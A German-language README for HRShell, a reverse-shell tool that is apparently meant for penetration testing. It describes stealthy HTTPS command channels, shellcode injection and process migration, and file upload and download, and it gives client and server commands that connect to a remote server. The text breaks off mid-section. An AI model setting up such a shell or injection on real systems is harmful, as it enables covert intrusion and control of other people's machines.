HRShell: Eine erweiterte HTTP(S)-Reverse-Shell, erstellt mit Flask

HRShell ist eine HTTPS/HTTP-Reverse-Shell, die mit Flask erstellt wurde und mit Python 3.x kompatibel ist. Der client.py wurde erfolgreich getestet auf:

Linux Ubuntu 18.04 LTS, Kali Linux 2019.3
macOS Mojave/Catalina
Windows 7/10

während der server.py mit Unix-Systemen kompatibel ist (Windows-Support in Kürze verfügbar...)

Funktionen

Es ist unauffällig
TLS-Unterstützung 🔑
- Entweder unter Verwendung von On-the-Fly-Zertifikaten oder
- Durch Angabe eines Zertifikat/Schlüssel-Paares (mehr Details unten...)
Shellcode-Injektion 💉 (mehr Details unten...)
- Entweder Shellcode-Injektion in einen Thread/erzeugten Prozess des aktuell laufenden Prozesses
  - Bisher unterstützte Plattformen:
    - Windows x86
    - Unix x86
    - Unix x64
- oder Shellcode-Injektion in einen anderen Prozess (migrate <PID>) durch Angabe seiner PID
  - Bisher unterstützte Plattformen:
    - Windows x86
    - Windows x64
Shellcode kann spontan vom Server gesetzt/geändert werden (mehr Details unten...)
Proxy-Unterstützung auf dem Client.
Verzeichnisnavigation (cd-Befehl und Varianten).
Interaktiver history-Befehl auf Unix-Systemen verfügbar.
download/upload/screenshot/hex-Befehle verfügbar.
Pipelining (|) und verkettete Befehle (;) werden unterstützt
Unterstützung für jeden nicht-interaktiven Befehl (wie gdb, top usw...)
Der Server ist sowohl HTTP- als auch HTTPS-fähig.
Es wird mit zwei integrierten Servern 🌐 geliefert... flask built-in & tornado-WSGI, während es auch mit anderen Produktionsservern wie gunicorn und Nginx kompatibel ist.
Sowohl server.py als auch client.py sind leicht erweiterbar.
Da der Großteil der Funktionalität vom Endpunkt-Design des Servers kommt, ist es sehr einfach, einen Client in jeder anderen Sprache zu schreiben, z.B. Java, GO usw...

_{*Für Versionsänderungen siehe CHANGELOG.}

Details

Unauffällig :shipit:

HRShell ist unauffällig, da es das HTTP(S)-Protokoll als Kommunikationsmethode zwischen Client und Server verwendet. Zusätzlich wird der Datenverkehr bei Verwendung von TLS verschlüsselt. Wenn das ZERTIFIKAT nicht clientseitig fest codiert ist (was eine praktikable Option ist) und der upload-Befehl nicht verwendet wird, dann berührt client.py die Festplatte überhaupt nicht.

TLS 🔑

Serverseitig: Sofern nicht die Option --http angegeben wird, verwendet server.py standardmäßig HTTPS mit On-the-Fly-Zertifikaten, da On-the-Fly-Zertifikate eine integrierte Flask-Funktion sind. Wenn jedoch die Option -s tornado angegeben wird, um den Server zur Nutzung von TLS zu zwingen, müssen die Optionen --cert und --key wie folgt angegeben werden:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Es können entweder "echte" Zertifikate verwendet werden, oder eine andere Möglichkeit, ein Zertifikat/Schlüssel-Paar zu generieren, ist z.B. die Verwendung von mkcert oder direkt openssl wie folgt:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Ein Zertifikat/Schlüssel-Paar kann auch mit dem Flask-Server verwendet werden:

python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ Wenn der Server TLS verwendet, kann der Client konstruktionsbedingt nicht http://... verwenden, um eine Verbindung zum Server herzustellen, sondern muss stattdessen explizit https verwenden.

Clientseitig: Standardmäßig ist die SSL-Verifizierung des Clients deaktiviert, es sei denn:

entweder wird der Parameter --cert angegeben, z.B.:

python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem

oder die Variable CERT wird, anstatt des Standardwerts None, vorher mit einem gültigen Zertifikat gesetzt, z.B.:

CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""

In diesem Fall wird client.py versuchen, spontan eine versteckte .cert.pem-Datei zu erstellen und diese stattdessen verwenden.

⚠️ Dass die SSL-Verifizierung standardmäßig auf dem Client deaktiviert ist, bedeutet keinesfalls, dass auch TLS deaktiviert ist. TLS wird aktiviert, wenn der Server es verwendet – TLS hängt also vollständig vom Server ab. Die Option --cert auf dem Client dient lediglich als alternative Möglichkeit, dass Server und Client eine verschlüsselte Sitzung haben, und das ist alles.

Shellcode-Injektion 💉

Es gibt zwei "Modi" der Shellcode-Injektion, die mit den folgenden beiden Befehlen durchgeführt werden:

migrate <PID>: Mit diesem Befehl können wir Shellcode in den Speicherbereich eines anderen Prozesses injizieren, indem wir seine PID angeben. Derzeit kann dieser Befehl nur auf Windows x86/x64-Plattformen angewendet werden!

inject shellcode: Mit diesem Befehl wird ein neuer Thread (oder ein erzeugter Prozess auf Unix-Systemen) unseres aktuellen Prozesses erstellt und die Shellcode-Injektion erfolgt in dessen Speicherbereich. Dadurch wird unsere HTTP(S)-Shell nicht von der Injektion beeinträchtigt. Die Plattformen, auf denen dieser Befehl angewendet werden kann, sind: Unix x86/x64, Windows x86-Plattformen!

Anmerkungen

Falls die Injektion in einen Prozess erfolgt, spielen die Prozessberechtigungen eine sehr wichtige Rolle. Es ist nicht immer möglich, in jeden Prozess zu injizieren, da geeignete Berechtigungen fehlen.

Shellcode setzen/ändern

Es gibt zwei Möglichkeiten, den Typ des Shellcodes anzugeben/festzulegen, den der Client ausführen soll:

Beliebteste

HRShell